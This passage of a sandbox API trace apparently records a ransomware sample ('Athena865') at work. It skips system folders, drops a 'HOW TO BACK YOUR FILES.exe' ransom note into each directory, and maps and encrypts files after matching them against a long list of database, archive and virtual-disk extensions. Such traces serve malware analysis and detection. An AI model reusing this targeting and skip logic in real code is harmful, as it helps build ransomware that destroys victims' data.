Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.448] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3467) returned 1 [0119.448] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.449] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.449] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.449] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1090, lpName=0x0) returned 0x154 [0119.451] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1090) returned 0x100000 [0119.451] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.452] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.452] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.453] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0119.453] lstrcmpiW (lpString1="BabyBoy", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.453] lstrcmpiW (lpString1="BabyBoy", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.453] lstrcmpiW (lpString1="BabyBoy", lpString2=".") returned 1 [0119.453] lstrcmpiW (lpString1="BabyBoy", lpString2="..") returned 1 [0119.453] lstrcmpiW (lpString1="BabyBoy", lpString2="windows") returned -1 [0119.453] lstrcmpiW (lpString1="BabyBoy", lpString2="bootmgr") returned -1 [0119.453] lstrcmpiW (lpString1="BabyBoy", lpString2="temp") returned -1 [0119.453] lstrcmpiW (lpString1="BabyBoy", lpString2="pagefile.sys") returned -1 [0119.453] lstrcmpiW (lpString1="BabyBoy", lpString2="boot") returned -1 [0119.453] lstrcmpiW (lpString1="BabyBoy", lpString2="ids.txt") returned -1 [0119.453] lstrcmpiW (lpString1="BabyBoy", lpString2="ntuser.dat") returned -1 [0119.453] lstrcmpiW (lpString1="BabyBoy", lpString2="perflogs") returned -1 [0119.453] lstrcmpiW (lpString1="BabyBoy", lpString2="MSBuild") returned -1 [0119.453] lstrlenW (lpString="BabyBoy") returned 7 [0119.453] lstrcpyW (in: lpString1=0x241e8a0, lpString2="BabyBoy" | out: lpString1="BabyBoy") returned="BabyBoy" [0119.453] lstrcatW (in: lpString1="BabyBoy", lpString2="\\" | out: lpString1="BabyBoy\\") returned="BabyBoy\\" [0119.453] lstrcatW (in: lpString1="BabyBoy\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="BabyBoy\\HOW TO BACK YOUR FILES.exe") returned="BabyBoy\\HOW TO BACK YOUR FILES.exe" [0119.453] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\how to back your files.exe"), bFailIfExists=1) returned 1 [0119.457] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0119.457] lstrcmpiW (lpString1="BabyGirl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.457] lstrcmpiW (lpString1="BabyGirl", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.457] lstrcmpiW (lpString1="BabyGirl", lpString2=".") returned 1 [0119.457] lstrcmpiW (lpString1="BabyGirl", lpString2="..") returned 1 [0119.457] lstrcmpiW (lpString1="BabyGirl", lpString2="windows") returned -1 [0119.457] lstrcmpiW (lpString1="BabyGirl", lpString2="bootmgr") returned -1 [0119.458] lstrcmpiW (lpString1="BabyGirl", lpString2="temp") returned -1 [0119.458] lstrcmpiW (lpString1="BabyGirl", lpString2="pagefile.sys") returned -1 [0119.458] lstrcmpiW (lpString1="BabyGirl", lpString2="boot") returned -1 [0119.458] lstrcmpiW (lpString1="BabyGirl", lpString2="ids.txt") returned -1 [0119.458] lstrcmpiW (lpString1="BabyGirl", lpString2="ntuser.dat") returned -1 [0119.458] lstrcmpiW (lpString1="BabyGirl", lpString2="perflogs") returned -1 [0119.458] lstrcmpiW (lpString1="BabyGirl", lpString2="MSBuild") returned -1 [0119.458] lstrlenW (lpString="BabyGirl") returned 8 [0119.458] lstrcpyW (in: lpString1=0x241e8a0, lpString2="BabyGirl" | out: lpString1="BabyGirl") returned="BabyGirl" [0119.458] lstrcatW (in: lpString1="BabyGirl", lpString2="\\" | out: lpString1="BabyGirl\\") returned="BabyGirl\\" [0119.458] lstrcatW (in: lpString1="BabyGirl\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="BabyGirl\\HOW TO BACK YOUR FILES.exe") returned="BabyGirl\\HOW TO BACK YOUR FILES.exe" [0119.458] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\how to back your files.exe"), bFailIfExists=1) returned 1 [0119.462] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2=".") returned 1 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="..") returned 1 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="windows") returned -1 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="bootmgr") returned -1 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="temp") returned -1 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="pagefile.sys") returned -1 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="boot") returned -1 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="ids.txt") returned -1 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="ntuser.dat") returned -1 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="perflogs") returned -1 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="MSBuild") returned -1 [0119.462] lstrlenW (lpString="BlackRectangle.bmp") returned 18 [0119.462] lstrcpyW (in: lpString1=0x241e8a0, lpString2="BlackRectangle.bmp" | out: lpString1="BlackRectangle.bmp") returned="BlackRectangle.bmp" [0119.462] lstrlenW (lpString="BlackRectangle.bmp") returned 18 [0119.462] lstrlenW (lpString="Athena865") returned 9 [0119.462] lstrcmpiW (lpString1="angle.bmp", lpString2="Athena865") returned -1 [0119.462] lstrlenW (lpString=".dll") returned 4 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2=".dll") returned 1 [0119.462] lstrlenW (lpString=".lnk") returned 4 [0119.462] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2=".lnk") returned 1 [0119.462] lstrlenW (lpString=".ini") returned 4 [0119.463] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2=".ini") returned 1 [0119.463] lstrlenW (lpString=".sys") returned 4 [0119.463] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2=".sys") returned 1 [0119.463] lstrlenW (lpString="BlackRectangle.bmp") returned 18 [0119.463] lstrlenW (lpString="bak") returned 3 [0119.463] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1 [0119.463] lstrlenW (lpString="ba_") returned 3 [0119.463] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1 [0119.463] lstrlenW (lpString="dbb") returned 3 [0119.463] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1 [0119.463] lstrlenW (lpString="vmdk") returned 4 [0119.463] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1 [0119.463] lstrlenW (lpString="rar") returned 3 [0119.463] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1 [0119.463] lstrlenW (lpString="zip") returned 3 [0119.463] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1 [0119.463] lstrlenW (lpString="tgz") returned 3 [0119.463] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1 [0119.463] lstrlenW (lpString="vbox") returned 4 [0119.463] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1 [0119.463] lstrlenW (lpString="vdi") returned 3 [0119.463] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1 [0119.463] lstrlenW (lpString="vhd") returned 3 [0119.463] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1 [0119.463] lstrlenW (lpString="vhdx") returned 4 [0119.463] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1 [0119.463] lstrlenW (lpString="avhd") returned 4 [0119.463] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1 [0119.463] lstrlenW (lpString="db") returned 2 [0119.463] lstrcmpiW (lpString1="mp", lpString2="db") returned 1 [0119.463] lstrlenW (lpString="db2") returned 3 [0119.464] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1 [0119.464] lstrlenW (lpString="db3") returned 3 [0119.464] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1 [0119.464] lstrlenW (lpString="dbf") returned 3 [0119.464] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1 [0119.464] lstrlenW (lpString="mdf") returned 3 [0119.464] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1 [0119.464] lstrlenW (lpString="mdb") returned 3 [0119.464] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1 [0119.464] lstrlenW (lpString="sql") returned 3 [0119.464] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1 [0119.464] lstrlenW (lpString="sqlite") returned 6 [0119.464] lstrcmpiW (lpString1="le.bmp", lpString2="sqlite") returned -1 [0119.464] lstrlenW (lpString="sqlite3") returned 7 [0119.464] lstrcmpiW (lpString1="gle.bmp", lpString2="sqlite3") returned -1 [0119.464] lstrlenW (lpString="sqlitedb") returned 8 [0119.464] lstrcmpiW (lpString1="ngle.bmp", lpString2="sqlitedb") returned -1 [0119.464] lstrlenW (lpString="xml") returned 3 [0119.464] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1 [0119.464] lstrlenW (lpString="$er") returned 3 [0119.464] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1 [0119.464] lstrlenW (lpString="4dd") returned 3 [0119.464] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1 [0119.464] lstrlenW (lpString="4dl") returned 3 [0119.464] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1 [0119.464] lstrlenW (lpString="^^^") returned 3 [0119.464] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1 [0119.464] lstrlenW (lpString="abs") returned 3 [0119.464] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1 [0119.464] lstrlenW (lpString="abx") returned 3 [0119.464] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1 [0119.464] lstrlenW (lpString="accdb") returned 5 [0119.465] lstrcmpiW (lpString1="e.bmp", lpString2="accdb") returned 1 [0119.465] lstrlenW (lpString="accdc") returned 5 [0119.465] lstrcmpiW (lpString1="e.bmp", lpString2="accdc") returned 1 [0119.465] lstrlenW (lpString="accde") returned 5 [0119.465] lstrcmpiW (lpString1="e.bmp", lpString2="accde") returned 1 [0119.465] lstrlenW (lpString="accdr") returned 5 [0119.465] lstrcmpiW (lpString1="e.bmp", lpString2="accdr") returned 1 [0119.465] lstrlenW (lpString="accdt") returned 5 [0119.465] lstrcmpiW (lpString1="e.bmp", lpString2="accdt") returned 1 [0119.465] lstrlenW (lpString="accdw") returned 5 [0119.465] lstrcmpiW (lpString1="e.bmp", lpString2="accdw") returned 1 [0119.465] lstrlenW (lpString="accft") returned 5 [0119.465] lstrcmpiW (lpString1="e.bmp", lpString2="accft") returned 1 [0119.465] lstrlenW (lpString="adb") returned 3 [0119.465] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0119.465] lstrlenW (lpString="adb") returned 3 [0119.465] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0119.465] lstrlenW (lpString="ade") returned 3 [0119.465] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1 [0119.465] lstrlenW (lpString="adf") returned 3 [0119.465] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1 [0119.465] lstrlenW (lpString="adn") returned 3 [0119.465] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1 [0119.465] lstrlenW (lpString="adp") returned 3 [0119.465] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1 [0119.465] lstrlenW (lpString="alf") returned 3 [0119.465] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1 [0119.465] lstrlenW (lpString="ask") returned 3 [0119.465] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1 [0119.465] lstrlenW (lpString="btr") returned 3 [0119.465] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1 [0119.466] lstrlenW (lpString="cat") returned 3 [0119.466] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1 [0119.466] lstrlenW (lpString="cdb") returned 3 [0119.466] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1 [0119.466] lstrlenW (lpString="ckp") returned 3 [0119.466] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1 [0119.466] lstrlenW (lpString="cma") returned 3 [0119.466] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1 [0119.466] lstrlenW (lpString="cpd") returned 3 [0119.466] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1 [0119.466] lstrlenW (lpString="dacpac") returned 6 [0119.466] lstrcmpiW (lpString1="le.bmp", lpString2="dacpac") returned 1 [0119.466] lstrlenW (lpString="dad") returned 3 [0119.466] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1 [0119.466] lstrlenW (lpString="dadiagrams") returned 10 [0119.466] lstrcmpiW (lpString1="tangle.bmp", lpString2="dadiagrams") returned 1 [0119.466] lstrlenW (lpString="daschema") returned 8 [0119.466] lstrcmpiW (lpString1="ngle.bmp", lpString2="daschema") returned 1 [0119.466] lstrlenW (lpString="db-journal") returned 10 [0119.466] lstrcmpiW (lpString1="tangle.bmp", lpString2="db-journal") returned 1 [0119.466] lstrlenW (lpString="db-shm") returned 6 [0119.466] lstrcmpiW (lpString1="le.bmp", lpString2="db-shm") returned 1 [0119.466] lstrlenW (lpString="db-wal") returned 6 [0119.466] lstrcmpiW (lpString1="le.bmp", lpString2="db-wal") returned 1 [0119.466] lstrlenW (lpString="dbc") returned 3 [0119.466] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1 [0119.466] lstrlenW (lpString="dbs") returned 3 [0119.466] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1 [0119.466] lstrlenW (lpString="dbt") returned 3 [0119.467] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1 [0119.467] lstrlenW (lpString="dbv") returned 3 [0119.467] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1 [0119.467] lstrlenW (lpString="dbx") returned 3 [0119.467] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1 [0119.467] lstrlenW (lpString="dcb") returned 3 [0119.467] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1 [0119.467] lstrlenW (lpString="dct") returned 3 [0119.467] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1 [0119.467] lstrlenW (lpString="dcx") returned 3 [0119.467] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1 [0119.467] lstrlenW (lpString="ddl") returned 3 [0119.467] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1 [0119.467] lstrlenW (lpString="dlis") returned 4 [0119.467] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1 [0119.467] lstrlenW (lpString="dp1") returned 3 [0119.467] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1 [0119.467] lstrlenW (lpString="dqy") returned 3 [0119.467] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1 [0119.467] lstrlenW (lpString="dsk") returned 3 [0119.467] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1 [0119.467] lstrlenW (lpString="dsn") returned 3 [0119.467] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1 [0119.467] lstrlenW (lpString="dtsx") returned 4 [0119.467] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1 [0119.467] lstrlenW (lpString="dxl") returned 3 [0119.467] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1 [0119.467] lstrlenW (lpString="eco") returned 3 [0119.467] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1 [0119.468] lstrlenW (lpString="ecx") returned 3 [0119.468] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1 [0119.468] lstrlenW (lpString="edb") returned 3 [0119.468] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1 [0119.468] lstrlenW (lpString="epim") returned 4 [0119.468] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1 [0119.468] lstrlenW (lpString="fcd") returned 3 [0119.468] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1 [0119.468] lstrlenW (lpString="fdb") returned 3 [0119.468] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1 [0119.468] lstrlenW (lpString="fic") returned 3 [0119.468] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1 [0119.468] lstrlenW (lpString="flexolibrary") returned 12 [0119.468] lstrcmpiW (lpString1="ectangle.bmp", lpString2="flexolibrary") returned -1 [0119.468] lstrlenW (lpString="fm5") returned 3 [0119.468] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1 [0119.468] lstrlenW (lpString="fmp") returned 3 [0119.468] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1 [0119.468] lstrlenW (lpString="fmp12") returned 5 [0119.468] lstrcmpiW (lpString1="e.bmp", lpString2="fmp12") returned -1 [0119.468] lstrlenW (lpString="fmpsl") returned 5 [0119.468] lstrcmpiW (lpString1="e.bmp", lpString2="fmpsl") returned -1 [0119.468] lstrlenW (lpString="fol") returned 3 [0119.468] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1 [0119.468] lstrlenW (lpString="fp3") returned 3 [0119.468] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1 [0119.468] lstrlenW (lpString="fp4") returned 3 [0119.468] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1 [0119.468] lstrlenW (lpString="fp5") returned 3 [0119.469] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1 [0119.469] lstrlenW (lpString="fp7") returned 3 [0119.469] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1 [0119.469] lstrlenW (lpString="fpt") returned 3 [0119.469] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1 [0119.469] lstrlenW (lpString="frm") returned 3 [0119.469] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1 [0119.469] lstrlenW (lpString="gdb") returned 3 [0119.469] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0119.469] lstrlenW (lpString="gdb") returned 3 [0119.469] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0119.469] lstrlenW (lpString="grdb") returned 4 [0119.469] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1 [0119.469] lstrlenW (lpString="gwi") returned 3 [0119.469] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1 [0119.469] lstrlenW (lpString="hdb") returned 3 [0119.469] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1 [0119.469] lstrlenW (lpString="his") returned 3 [0119.469] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1 [0119.469] lstrlenW (lpString="ib") returned 2 [0119.469] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1 [0119.469] lstrlenW (lpString="idb") returned 3 [0119.469] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1 [0119.469] lstrlenW (lpString="ihx") returned 3 [0119.469] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1 [0119.469] lstrlenW (lpString="itdb") returned 4 [0119.469] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1 [0119.469] lstrlenW (lpString="itw") returned 3 [0119.469] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1 [0119.470] lstrlenW (lpString="jet") returned 3 [0119.470] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1 [0119.470] lstrlenW (lpString="jtx") returned 3 [0119.470] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1 [0119.470] lstrlenW (lpString="kdb") returned 3 [0119.470] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1 [0119.470] lstrlenW (lpString="kexi") returned 4 [0119.470] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1 [0119.470] lstrlenW (lpString="kexic") returned 5 [0119.470] lstrcmpiW (lpString1="e.bmp", lpString2="kexic") returned -1 [0119.470] lstrlenW (lpString="kexis") returned 5 [0119.470] lstrcmpiW (lpString1="e.bmp", lpString2="kexis") returned -1 [0119.470] lstrlenW (lpString="lgc") returned 3 [0119.470] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1 [0119.470] lstrlenW (lpString="lwx") returned 3 [0119.470] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1 [0119.470] lstrlenW (lpString="maf") returned 3 [0119.470] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1 [0119.470] lstrlenW (lpString="maq") returned 3 [0119.470] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1 [0119.470] lstrlenW (lpString="mar") returned 3 [0119.470] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1 [0119.470] lstrlenW (lpString="marshal") returned 7 [0119.470] lstrcmpiW (lpString1="gle.bmp", lpString2="marshal") returned -1 [0119.470] lstrlenW (lpString="mas") returned 3 [0119.470] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1 [0119.470] lstrlenW (lpString="mav") returned 3 [0119.470] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1 [0119.470] lstrlenW (lpString="maw") returned 3 [0119.470] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1 [0119.471] lstrlenW (lpString="mdbhtml") returned 7 [0119.471] lstrcmpiW (lpString1="gle.bmp", lpString2="mdbhtml") returned -1 [0119.471] lstrlenW (lpString="mdn") returned 3 [0119.471] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1 [0119.471] lstrlenW (lpString="mdt") returned 3 [0119.471] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1 [0119.471] lstrlenW (lpString="mfd") returned 3 [0119.471] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1 [0119.471] lstrlenW (lpString="mpd") returned 3 [0119.471] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1 [0119.471] lstrlenW (lpString="mrg") returned 3 [0119.471] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1 [0119.471] lstrlenW (lpString="mud") returned 3 [0119.471] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1 [0119.471] lstrlenW (lpString="mwb") returned 3 [0119.471] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1 [0119.471] lstrlenW (lpString="myd") returned 3 [0119.471] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1 [0119.471] lstrlenW (lpString="ndf") returned 3 [0119.471] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1 [0119.471] lstrlenW (lpString="nnt") returned 3 [0119.471] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1 [0119.471] lstrlenW (lpString="nrmlib") returned 6 [0119.471] lstrcmpiW (lpString1="le.bmp", lpString2="nrmlib") returned -1 [0119.471] lstrlenW (lpString="ns2") returned 3 [0119.471] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1 [0119.471] lstrlenW (lpString="ns3") returned 3 [0119.471] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1 [0119.471] lstrlenW (lpString="ns4") returned 3 [0119.472] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1 [0119.472] lstrlenW (lpString="nsf") returned 3 [0119.472] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1 [0119.472] lstrlenW (lpString="nv") returned 2 [0119.472] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1 [0119.472] lstrlenW (lpString="nv2") returned 3 [0119.472] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1 [0119.472] lstrlenW (lpString="nwdb") returned 4 [0119.472] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1 [0119.472] lstrlenW (lpString="nyf") returned 3 [0119.472] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1 [0119.472] lstrlenW (lpString="odb") returned 3 [0119.472] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0119.472] lstrlenW (lpString="odb") returned 3 [0119.472] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0119.472] lstrlenW (lpString="oqy") returned 3 [0119.472] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1 [0119.472] lstrlenW (lpString="ora") returned 3 [0119.472] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1 [0119.472] lstrlenW (lpString="orx") returned 3 [0119.472] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1 [0119.472] lstrlenW (lpString="owc") returned 3 [0119.472] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1 [0119.472] lstrlenW (lpString="p96") returned 3 [0119.472] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1 [0119.472] lstrlenW (lpString="p97") returned 3 [0119.472] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1 [0119.472] lstrlenW (lpString="pan") returned 3 [0119.472] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1 [0119.472] lstrlenW (lpString="pdb") returned 3 [0119.473] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1 [0119.473] lstrlenW (lpString="pdm") returned 3 [0119.473] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1 [0119.473] lstrlenW (lpString="pnz") returned 3 [0119.473] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1 [0119.473] lstrlenW (lpString="qry") returned 3 [0119.473] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1 [0119.473] lstrlenW (lpString="qvd") returned 3 [0119.473] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1 [0119.473] lstrlenW (lpString="rbf") returned 3 [0119.473] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1 [0119.473] lstrlenW (lpString="rctd") returned 4 